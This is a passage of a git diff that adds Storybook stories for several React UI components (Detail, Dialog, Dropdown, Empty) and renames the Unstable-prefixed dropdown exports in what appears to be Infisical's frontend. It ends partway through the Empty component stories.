diff --git a/frontend/src/components/v3/generic/Detail/Detail.stories.tsx b/frontend/src/components/v3/generic/Detail/Detail.stories.tsx
new file mode 100644
index 00000000000..1da68475204
--- /dev/null
+++ b/frontend/src/components/v3/generic/Detail/Detail.stories.tsx
@@ -0,0 +1,206 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import { EditIcon } from "lucide-react";
+
+import { Badge } from "../Badge";
+import { IconButton } from "../IconButton";
+import { Separator } from "../Separator";
+import { Detail, DetailGroup, DetailGroupHeader, DetailLabel, DetailValue } from "./Detail";
+
+/**
+ * Detail renders a single label + value pair — the building block for entity
+ * metadata panels (identity details, user profiles, integration configuration).
+ * Compose multiple `Detail`s inside a `DetailGroup` for vertical spacing; add a
+ * `DetailGroupHeader` above a group to name the section.
+ */
+const meta = {
+  title: "Generic/Detail",
+  component: Detail,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    children: {
+      table: {
+        disable: true
+      }
+    },
+    className: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof Detail>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Single: Story = {
+  name: "Example: Single",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The minimal usage — a single `Detail` wrapping a `DetailLabel` and `DetailValue`. Use when displaying a standalone field outside a grouped panel."
+      }
+    }
+  },
+  render: () => (
+    <Detail className="w-80">
+      <DetailLabel>Repository</DetailLabel>
+      <DetailValue>infisical/infisical</DetailValue>
+    </Detail>
+  )
+};
+
+export const Group: Story = {
+  name: "Example: Group",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Wrap multiple `Detail`s in a `DetailGroup` to stack them with consistent vertical spacing (`gap-y-4`). Use for entity metadata sections like profile fields or integration settings."
+      }
+    }
+  },
+  render: () => (
+    <DetailGroup className="w-80">
+      <Detail>
+        <DetailLabel>Name</DetailLabel>
+        <DetailValue>ad-discovery-001</DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>Status</DetailLabel>
+        <DetailValue>
+          <Badge variant="success">Active</Badge>
+        </DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>Schedule</DetailLabel>
+        <DetailValue>Manual</DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>Last Run</DetailLabel>
+        <DetailValue>04/11/2026, 02:47 AM</DetailValue>
+      </Detail>
+    </DetailGroup>
+  )
+};
+
+export const GroupWithHeader: Story = {
+  name: "Example: Group With Header",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Place a `DetailGroupHeader` as the first child of a `DetailGroup` to title the section. Use `flex items-center justify-between` on the header to align an inline action like an edit `IconButton`."
+      }
+    }
+  },
+  render: () => (
+    <DetailGroup className="w-80">
+      <DetailGroupHeader className="flex items-center justify-between">
+        General
+        <IconButton size="xs" variant="ghost-muted" aria-label="Edit general">
+          <EditIcon />
+        </IconButton>
+      </DetailGroupHeader>
+      <Detail>
+        <DetailLabel>Name</DetailLabel>
+        <DetailValue>ad-discovery-001</DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>Status</DetailLabel>
+        <DetailValue>
+          <Badge variant="success">Active</Badge>
+        </DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>Schedule</DetailLabel>
+        <DetailValue>Manual</DetailValue>
+      </Detail>
+    </DetailGroup>
+  )
+};
+
+export const BadgeValues: Story = {
+  name: "Example: Badge Values",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Use `Badge` inside `DetailValue` for status, scope, or boolean-like fields — far more scannable than plain text. Combine with inline text via `className="flex items-center gap-1.5"` on the value for mixed content.'
+      }
+    }
+  },
+  render: () => (
+    <DetailGroup className="w-80">
+      <Detail>
+        <DetailLabel>Status</DetailLabel>
+        <DetailValue>
+          <Badge variant="success">Active</Badge>
+        </DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>LDAP Port</DetailLabel>
+        <DetailValue className="flex items-center gap-1.5">
+          636 <Badge variant="info">LDAPS</Badge>
+        </DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>CA Certificate</DetailLabel>
+        <DetailValue>
+          <Badge variant="success">Provided</Badge>
+        </DetailValue>
+      </Detail>
+      <Detail>
+        <DetailLabel>Dependency Discovery</DetailLabel>
+        <DetailValue>
+          <Badge variant="danger">Disabled</Badge>
+        </DetailValue>
+      </Detail>
+    </DetailGroup>
+  )
+};
+
+export const MultipleGroups: Story = {
+  name: "Example: Multiple Groups",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Stack multiple `DetailGroup`s with a `Separator` between them to visually chunk long detail panels. Each group gets its own header and list of fields."
+      }
+    }
+  },
+  render: () => (
+    <div className="flex w-80 flex-col gap-4">
+      <DetailGroup>
+        <DetailGroupHeader>General</DetailGroupHeader>
+        <Detail>
+          <DetailLabel>Name</DetailLabel>
+          <DetailValue>ad-discovery-001</DetailValue>
+        </Detail>
+        <Detail>
+          <DetailLabel>Status</DetailLabel>
+          <DetailValue>
+            <Badge variant="success">Active</Badge>
+          </DetailValue>
+        </Detail>
+      </DetailGroup>
+      <Separator />
+      <DetailGroup>
+        <DetailGroupHeader>Credentials</DetailGroupHeader>
+        <Detail>
+          <DetailLabel>Username</DetailLabel>
+          <DetailValue>svc-discovery</DetailValue>
+        </Detail>
+        <Detail>
+          <DetailLabel>Password</DetailLabel>
+          <DetailValue className="tracking-widest">••••••••••••</DetailValue>
+        </Detail>
+      </DetailGroup>
+    </div>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Detail/Detail.tsx b/frontend/src/components/v3/generic/Detail/Detail.tsx
index 9ce9d8b0ba7..c1e2d0d89b1 100644
--- a/frontend/src/components/v3/generic/Detail/Detail.tsx
+++ b/frontend/src/components/v3/generic/Detail/Detail.tsx
@@ -11,7 +11,23 @@ function DetailLabel({ className, ...props }: React.ComponentProps<"div">) {
 }
 
 function DetailValue({ className, ...props }: React.ComponentProps<"div">) {
-  return <div data-slot="detail-value" className={cn("text-sm break-all", className)} {...props} />;
+  return (
+    <div
+      data-slot="detail-value"
+      className={cn("text-sm break-all text-foreground", className)}
+      {...props}
+    />
+  );
+}
+
+function DetailGroupHeader({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="detail-header"
+      className={cn("-mb-1 flex items-center text-sm font-medium text-foreground", className)}
+      {...props}
+    />
+  );
 }
 
 function DetailGroup({ className, ...props }: React.ComponentProps<"div">) {
@@ -20,4 +36,4 @@ function DetailGroup({ className, ...props }: React.ComponentProps<"div">) {
   );
 }
 
-export { Detail, DetailGroup, DetailLabel, DetailValue };
+export { Detail, DetailGroup, DetailGroupHeader, DetailLabel, DetailValue };
diff --git a/frontend/src/components/v3/generic/Dialog/Dialog.stories.tsx b/frontend/src/components/v3/generic/Dialog/Dialog.stories.tsx
new file mode 100644
index 00000000000..cac6b553ba4
--- /dev/null
+++ b/frontend/src/components/v3/generic/Dialog/Dialog.stories.tsx
@@ -0,0 +1,192 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+
+import { Button } from "../Button";
+import { Input } from "../Input";
+import { Label } from "../Label";
+import {
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  DialogTrigger
+} from "./Dialog";
+
+/**
+ * Dialog renders a general-purpose modal — title, description, arbitrary body
+ * content, and a footer. Built on Radix so it supports Esc / overlay click
+ * dismissal and includes a close button by default. Use `Dialog` for content
+ * and form flows; use `AlertDialog` for destructive confirmations that require
+ * explicit acknowledgement.
+ */
+const meta = {
+  title: "Generic/Dialog",
+  component: Dialog,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    children: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof Dialog>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Example: Default",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The baseline modal — trigger opens a dialog with title, description, and a Cancel / Continue footer. `DialogClose` wraps the Cancel button so it dismisses the modal without custom state."
+      }
+    }
+  },
+  render: () => (
+    <Dialog>
+      <DialogTrigger asChild>
+        <Button variant="outline">Open dialog</Button>
+      </DialogTrigger>
+      <DialogContent className="max-w-sm">
+        <DialogHeader>
+          <DialogTitle>Share link</DialogTitle>
+          <DialogDescription>
+            Anyone with this link will be able to view the shared content.
+          </DialogDescription>
+        </DialogHeader>
+        <DialogFooter>
+          <DialogClose asChild>
+            <Button variant="ghost">Cancel</Button>
+          </DialogClose>
+          <Button>Continue</Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+};
+
+export const WithForm: Story = {
+  name: "Example: With Form",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Embed form fields inside `DialogContent` for create / edit flows. Keep the description short and place inputs between the header and footer — the dialog's grid layout gives consistent `gap-4` spacing between sections."
+      }
+    }
+  },
+  render: () => (
+    <Dialog>
+      <DialogTrigger asChild>
+        <Button variant="outline">Edit profile</Button>
+      </DialogTrigger>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>Edit profile</DialogTitle>
+          <DialogDescription>
+            Update your display name and contact email. Changes apply immediately.
+          </DialogDescription>
+        </DialogHeader>
+        <div className="flex flex-col gap-4">
+          <div className="flex flex-col gap-2">
+            <Label htmlFor="dialog-name">Name</Label>
+            <Input id="dialog-name" defaultValue="Scott Wilson" />
+          </div>
+          <div className="flex flex-col gap-2">
+            <Label htmlFor="dialog-email">Email</Label>
+            <Input id="dialog-email" type="email" defaultValue="scott@infisical.com" />
+          </div>
+        </div>
+        <DialogFooter>
+          <DialogClose asChild>
+            <Button variant="ghost">Cancel</Button>
+          </DialogClose>
+          <Button>Save changes</Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+};
+
+export const WithoutCloseButton: Story = {
+  name: "Example: Without Close Button",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Pass `showCloseButton={false}` to `DialogContent` to hide the top-right X. Use when the user must take a deliberate action in the footer (e.g. a required step in onboarding) rather than abandoning the flow."
+      }
+    }
+  },
+  render: () => (
+    <Dialog>
+      <DialogTrigger asChild>
+        <Button variant="outline">Start onboarding</Button>
+      </DialogTrigger>
+      <DialogContent showCloseButton={false} className="max-w-sm">
+        <DialogHeader>
+          <DialogTitle>Welcome to Infisical</DialogTitle>
+          <DialogDescription>
+            Let&apos;s set up your first project. This takes about two minutes.
+          </DialogDescription>
+        </DialogHeader>
+        <DialogFooter>
+          <DialogClose asChild>
+            <Button variant="ghost">Skip for now</Button>
+          </DialogClose>
+          <Button>Get started</Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+};
+
+export const ScrollableContent: Story = {
+  name: "Example: Scrollable Content",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "For long content, wrap the body in a scrollable container with `max-h-[...] overflow-y-auto`. The header and footer stay anchored while the middle scrolls — common for terms, changelogs, and audit log previews."
+      }
+    }
+  },
+  render: () => (
+    <Dialog>
+      <DialogTrigger asChild>
+        <Button variant="outline">View terms</Button>
+      </DialogTrigger>
+      <DialogContent className="max-w-md">
+        <DialogHeader>
+          <DialogTitle>Terms of service</DialogTitle>
+          <DialogDescription>Please review the terms before continuing.</DialogDescription>
+        </DialogHeader>
+        <div className="flex max-h-64 thin-scrollbar flex-col gap-3 overflow-y-auto text-sm text-foreground">
+          {Array.from({ length: 10 }).map((_, i) => (
+            // eslint-disable-next-line react/no-array-index-key
+            <p key={i}>
+              <span className="font-medium">Section {i + 1}.</span> Lorem ipsum dolor sit amet,
+              consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore
+              magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi
+              ut aliquip ex ea commodo consequat.
+            </p>
+          ))}
+        </div>
+        <DialogFooter>
+          <DialogClose asChild>
+            <Button variant="ghost">Decline</Button>
+          </DialogClose>
+          <Button>Accept</Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Dropdown/Dropdown.stories.tsx b/frontend/src/components/v3/generic/Dropdown/Dropdown.stories.tsx
new file mode 100644
index 00000000000..5e7d8905d36
--- /dev/null
+++ b/frontend/src/components/v3/generic/Dropdown/Dropdown.stories.tsx
@@ -0,0 +1,218 @@
+import { useState } from "react";
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import {
+  ArrowDownAZIcon,
+  ArrowUpDownIcon,
+  CopyIcon,
+  EditIcon,
+  GridIcon,
+  ListIcon,
+  MailIcon,
+  MoreHorizontalIcon,
+  RowsIcon,
+  ShareIcon,
+  TrashIcon,
+  UserPlusIcon
+} from "lucide-react";
+
+import { Button } from "../Button";
+import { IconButton } from "../IconButton";
+import {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+  DropdownMenuTrigger
+} from "./Dropdown";
+
+/**
+ * DropdownMenu renders a contextual menu that opens from a trigger — use it for
+ * row / card actions, segmented triggers, and any grouped list of actions that
+ * don't warrant a dedicated panel. Composable subcomponents cover labels,
+ * separators, shortcuts, checkbox / radio items, and nested submenus.
+ */
+const meta = {
+  title: "Generic/Dropdown",
+  component: DropdownMenu,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"]
+} satisfies Meta<typeof DropdownMenu>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Example: Default",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'The baseline menu — a labelled group of actions with leading icons and keyboard shortcuts, a `DropdownMenuSeparator`, and a trailing `variant="danger"` item for destructive actions.'
+      }
+    }
+  },
+  render: () => (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <IconButton variant="outline" aria-label="Open menu">
+          <MoreHorizontalIcon />
+        </IconButton>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="end" className="w-56">
+        <DropdownMenuLabel>Actions</DropdownMenuLabel>
+        <DropdownMenuItem>
+          <EditIcon />
+          Edit
+          <DropdownMenuShortcut>⌘E</DropdownMenuShortcut>
+        </DropdownMenuItem>
+        <DropdownMenuItem>
+          <CopyIcon />
+          Duplicate
+          <DropdownMenuShortcut>⌘D</DropdownMenuShortcut>
+        </DropdownMenuItem>
+        <DropdownMenuItem>
+          <ShareIcon />
+          Share
+        </DropdownMenuItem>
+        <DropdownMenuSeparator />
+        <DropdownMenuItem variant="danger">
+          <TrashIcon />
+          Delete
+          <DropdownMenuShortcut>⌘⌫</DropdownMenuShortcut>
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+};
+
+const CheckboxItemsStory = () => {
+  const [showGrid, setShowGrid] = useState(true);
+  const [showList, setShowList] = useState(false);
+  const [showRows, setShowRows] = useState(true);
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button variant="outline">View options</Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="start" className="w-52">
+        <DropdownMenuLabel>Toggle panels</DropdownMenuLabel>
+        <DropdownMenuCheckboxItem checked={showGrid} onCheckedChange={setShowGrid}>
+          <GridIcon />
+          Grid
+        </DropdownMenuCheckboxItem>
+        <DropdownMenuCheckboxItem checked={showList} onCheckedChange={setShowList}>
+          <ListIcon />
+          List
+        </DropdownMenuCheckboxItem>
+        <DropdownMenuCheckboxItem checked={showRows} onCheckedChange={setShowRows}>
+          <RowsIcon />
+          Rows
+        </DropdownMenuCheckboxItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  );
+};
+
+export const CheckboxItems: Story = {
+  name: "Example: Checkbox Items",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use `DropdownMenuCheckboxItem` for toggleable options — each item independently controls its own `checked` state. A check mark appears on the right when the item is active."
+      }
+    }
+  },
+  render: () => <CheckboxItemsStory />
+};
+
+const RadioItemsStory = () => {
+  const [sort, setSort] = useState("recent");
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button variant="outline">
+          <ArrowUpDownIcon />
+          Sort
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="start" className="w-52">
+        <DropdownMenuLabel>Sort by</DropdownMenuLabel>
+        <DropdownMenuRadioGroup value={sort} onValueChange={setSort}>
+          <DropdownMenuRadioItem value="recent">Most recent</DropdownMenuRadioItem>
+          <DropdownMenuRadioItem value="oldest">Oldest</DropdownMenuRadioItem>
+          <DropdownMenuRadioItem value="alphabetical">
+            <ArrowDownAZIcon />
+            Alphabetical
+          </DropdownMenuRadioItem>
+        </DropdownMenuRadioGroup>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  );
+};
+
+export const RadioItems: Story = {
+  name: "Example: Radio Items",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Wrap `DropdownMenuRadioItem`s in a `DropdownMenuRadioGroup` with `value` + `onValueChange` for mutually exclusive selection — ideal for sort orders, view modes, or filter presets."
+      }
+    }
+  },
+  render: () => <RadioItemsStory />
+};
+
+export const WithSubmenu: Story = {
+  name: "Example: With Submenu",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Nest a `DropdownMenuSub` (with `SubTrigger` + `SubContent`) inside the main menu to expose a secondary group without cluttering the top-level list. A trailing chevron indicates the expandable item."
+      }
+    }
+  },
+  render: () => (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button variant="outline">Invite</Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="start" className="w-56">
+        <DropdownMenuLabel>Invite member</DropdownMenuLabel>
+        <DropdownMenuItem>
+          <UserPlusIcon />
+          Add existing user
+        </DropdownMenuItem>
+        <DropdownMenuSub>
+          <DropdownMenuSubTrigger>
+            <MailIcon />
+            Send invite
+          </DropdownMenuSubTrigger>
+          <DropdownMenuSubContent className="w-48">
+            <DropdownMenuItem>By email</DropdownMenuItem>
+            <DropdownMenuItem>By invite link</DropdownMenuItem>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem>SCIM provisioning</DropdownMenuItem>
+          </DropdownMenuSubContent>
+        </DropdownMenuSub>
+        <DropdownMenuSeparator />
+        <DropdownMenuItem variant="danger">
+          <TrashIcon />
+          Revoke pending invites
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Dropdown/Dropdown.tsx b/frontend/src/components/v3/generic/Dropdown/Dropdown.tsx
index ce840f4436e..6555a5701ae 100644
--- a/frontend/src/components/v3/generic/Dropdown/Dropdown.tsx
+++ b/frontend/src/components/v3/generic/Dropdown/Dropdown.tsx
@@ -2,29 +2,30 @@
 
 import * as React from "react";
 import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu";
-import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react";
+import { CheckIcon, ChevronRightIcon } from "lucide-react";
 
 import { cn } from "@app/components/v3/utils";
 
-function UnstableDropdownMenu({
-  ...props
-}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
+function DropdownMenu({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
   return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />;
 }
 
-function UnstableDropdownMenuPortal({
+function DropdownMenuPortal({
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.Portal>) {
   return <DropdownMenuPrimitive.Portal data-slot="dropdown-menu-portal" {...props} />;
 }
 
-function UnstableDropdownMenuTrigger({
-  ...props
-}: React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>) {
-  return <DropdownMenuPrimitive.Trigger data-slot="dropdown-menu-trigger" {...props} />;
-}
+const DropdownMenuTrigger = React.forwardRef<
+  HTMLButtonElement,
+  React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>
+>(
+  ({ ...props }, ref): JSX.Element => (
+    <DropdownMenuPrimitive.Trigger ref={ref} data-slot="dropdown-menu-trigger" {...props} />
+  )
+);
 
-function UnstableDropdownMenuContent({
+function DropdownMenuContent({
   className,
   sideOffset = 4,
   ...props
@@ -46,9 +47,7 @@ function UnstableDropdownMenuContent({
   );
 }
 
-function UnstableDropdownMenuGroup({
-  ...props
-}: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
+function DropdownMenuGroup({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
   return <DropdownMenuPrimitive.Group data-slot="dropdown-menu-group" {...props} />;
 }
 
@@ -61,7 +60,7 @@ type DropdownMenuProps = Omit<
   isDisabled?: boolean;
 };
 
-const UnstableDropdownMenuItem = React.forwardRef<HTMLDivElement, DropdownMenuProps>(
+const DropdownMenuItem = React.forwardRef<HTMLDivElement, DropdownMenuProps>(
   ({ className, inset, variant = "default", isDisabled, ...props }, ref): JSX.Element => {
     return (
       <DropdownMenuPrimitive.Item
@@ -84,7 +83,7 @@ const UnstableDropdownMenuItem = React.forwardRef<HTMLDivElement, DropdownMenuPr
   }
 );
 
-function UnstableDropdownMenuCheckboxItem({
+function DropdownMenuCheckboxItem({
   className,
   children,
   checked,
@@ -113,13 +112,13 @@ function UnstableDropdownMenuCheckboxItem({
   );
 }
 
-function UnstableDropdownMenuRadioGroup({
+function DropdownMenuRadioGroup({
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.RadioGroup>) {
   return <DropdownMenuPrimitive.RadioGroup data-slot="dropdown-menu-radio-group" {...props} />;
 }
 
-function UnstableDropdownMenuRadioItem({
+function DropdownMenuRadioItem({
   className,
   children,
   ...props
@@ -138,7 +137,7 @@ function UnstableDropdownMenuRadioItem({
     >
       <span className="pointer-events-none absolute right-2 flex size-3.5 items-center justify-center">
         <DropdownMenuPrimitive.ItemIndicator>
-          <CircleIcon className="size-2 fill-current" />
+          <CheckIcon className="size-4" />
         </DropdownMenuPrimitive.ItemIndicator>
       </span>
       {children}
@@ -146,7 +145,7 @@ function UnstableDropdownMenuRadioItem({
   );
 }
 
-function UnstableDropdownMenuLabel({
+function DropdownMenuLabel({
   className,
   inset,
   ...props
@@ -163,7 +162,7 @@ function UnstableDropdownMenuLabel({
   );
 }
 
-function UnstableDropdownMenuSeparator({
+function DropdownMenuSeparator({
   className,
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.Separator>) {
@@ -176,7 +175,7 @@ function UnstableDropdownMenuSeparator({
   );
 }
 
-function UnstableDropdownMenuShortcut({ className, ...props }: React.ComponentProps<"span">) {
+function DropdownMenuShortcut({ className, ...props }: React.ComponentProps<"span">) {
   return (
     <span
       data-slot="dropdown-menu-shortcut"
@@ -186,13 +185,11 @@ function UnstableDropdownMenuShortcut({ className, ...props }: React.ComponentPr
   );
 }
 
-function UnstableDropdownMenuSub({
-  ...props
-}: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
+function DropdownMenuSub({ ...props }: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
   return <DropdownMenuPrimitive.Sub data-slot="dropdown-menu-sub" {...props} />;
 }
 
-function UnstableDropdownMenuSubTrigger({
+function DropdownMenuSubTrigger({
   className,
   inset,
   children,
@@ -216,7 +213,7 @@ function UnstableDropdownMenuSubTrigger({
   );
 }
 
-function UnstableDropdownMenuSubContent({
+function DropdownMenuSubContent({
   className,
   sideOffset = 8,
   ...props
@@ -234,23 +231,23 @@ function UnstableDropdownMenuSubContent({
   );
 }
 
-type UnstableDropdownMenuChecked = DropdownMenuPrimitive.DropdownMenuCheckboxItemProps["checked"];
+type DropdownMenuChecked = DropdownMenuPrimitive.DropdownMenuCheckboxItemProps["checked"];
 
 export {
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  type UnstableDropdownMenuChecked,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuGroup,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuPortal,
-  UnstableDropdownMenuRadioGroup,
-  UnstableDropdownMenuRadioItem,
-  UnstableDropdownMenuSeparator,
-  UnstableDropdownMenuShortcut,
-  UnstableDropdownMenuSub,
-  UnstableDropdownMenuSubContent,
-  UnstableDropdownMenuSubTrigger,
-  UnstableDropdownMenuTrigger
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  type DropdownMenuChecked,
+  DropdownMenuContent,
+  DropdownMenuGroup,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuPortal,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+  DropdownMenuTrigger
 };
diff --git a/frontend/src/components/v3/generic/Empty/Empty.stories.tsx b/frontend/src/components/v3/generic/Empty/Empty.stories.tsx
new file mode 100644
index 00000000000..36f08d6dd26
--- /dev/null
+++ b/frontend/src/components/v3/generic/Empty/Empty.stories.tsx
@@ -0,0 +1,235 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import { KeyIcon, PlusIcon, SearchIcon, UploadIcon } from "lucide-react";
+
+import { Button } from "../Button";
+import { Card, CardContent, CardHeader, CardTitle } from "../Card";
+import {
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyMedia,
+  EmptyTitle
+} from "./Empty";
+
+/**
+ * Empty renders a centered placeholder for lists, tables, and panels with no data yet.
+ * Compose a header (`EmptyTitle` + `EmptyDescription`) with an optional `EmptyContent`
+ * for actions. Use it to explain why a view is empty and offer the next step — never
+ * just a silent blank region.
+ *
+ * **Prefer no icon.** Skip `EmptyMedia` in most cases — the dashed frame plus the title
+ * already signal the empty state clearly, and an additional icon often reads as decorative
+ * noise. Reserve `EmptyMedia` for genuinely ambiguous views where the icon meaningfully
+ * disambiguates the context (e.g. a search miss vs a never-populated list).
+ *
+ * The component ships with `border-dashed` styling but **no border width** by default —
+ * at the page level the frame-less look is intentional. When nesting `Empty` inside a
+ * `Card`, `Sheet`, or `Dialog`, add `className="border"` to activate the dashed frame
+ * so the empty state reads as visually distinct from its container.
+ */
+const meta = {
+  title: "Generic/Empty",
+  component: Empty,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  args: {
+    className: "w-[600px]"
+  },
+  argTypes: {
+    children: {
+      table: {
+        disable: true
+      }
+    },
+    className: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof Empty>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Example: Default",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The baseline empty state — title, description, and a single call-to-action in `EmptyContent`. **No icon** by default: the dashed frame plus the title are enough to signal the empty state, so adding an icon rarely earns its space. Reach for `EmptyMedia` only when the icon meaningfully disambiguates the context."
+      }
+    }
+  },
+  render: (args) => (
+    <Empty {...args}>
+      <EmptyHeader>
+        <EmptyTitle>No secrets yet</EmptyTitle>
+        <EmptyDescription>
+          Secrets store sensitive values like API keys and credentials. Add your first one to get
+          started.
+        </EmptyDescription>
+      </EmptyHeader>
+      <EmptyContent>
+        <Button>
+          <PlusIcon />
+          Add secret
+        </Button>
+      </EmptyContent>
+    </Empty>
+  )
+};
+
+export const WithIconMedia: Story = {
+  name: "Example: With Icon Media",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Pass `variant="icon"` to `EmptyMedia` for a framed icon with a subtle inner shadow — use when the default large icon feels too heavy and a smaller, chip-like icon reads better.'
+      }
+    }
+  },
+  render: (args) => (
+    <Empty {...args}>
+      <EmptyHeader>
+        <EmptyMedia variant="icon">
+          <KeyIcon />
+        </EmptyMedia>
+        <EmptyTitle>No active access tokens</EmptyTitle>
+        <EmptyDescription>
+          Access tokens let machines authenticate with the Infisical API. Generate one to connect a
+          client.
+        </EmptyDescription>
+      </EmptyHeader>
+      <EmptyContent>
+        <Button variant="outline">
+          <PlusIcon />
+          Generate token
+        </Button>
+      </EmptyContent>
+    </Empty>
+  )
+};
+
+export const WithLink: Story = {
+  name: "Example: With Link",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Inline `<a>` tags inside `EmptyDescription` render with an underline at the muted text color and brighten to `text-foreground` on hover — neutral enough to read as a secondary reference without competing with primary actions."
+      }
+    }
+  },
+  render: (args) => (
+    <Empty {...args}>
+      <EmptyHeader>
+        <EmptyMedia variant="icon">
+          <UploadIcon />
+        </EmptyMedia>
+        <EmptyTitle>Import your secrets</EmptyTitle>
+        <EmptyDescription>
+          Upload a `.env` or CSV file to import secrets in bulk. See the{" "}
+          <a href="#">import documentation</a> for supported formats.
+        </EmptyDescription>
+      </EmptyHeader>
+      <EmptyContent>
+        <Button variant="outline">
+          <UploadIcon />
+          Import file
+        </Button>
+      </EmptyContent>
+    </Empty>
+  )
+};
+
+export const NoResults: Story = {
+  name: "Example: No Search Results",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Skip `EmptyContent` when there's no constructive action to offer — as with a search miss, where the user's next step is to refine the query, not click a button."
+      }
+    }
+  },
+  render: (args) => (
+    <Empty {...args}>
+      <EmptyHeader>
+        <EmptyMedia variant="icon">
+          <SearchIcon />
+        </EmptyMedia>
+        <EmptyTitle>No results found</EmptyTitle>
+        <EmptyDescription>
+          No secrets match your search. Try a different keyword or clear the filters.
+        </EmptyDescription>
+      </EmptyHeader>
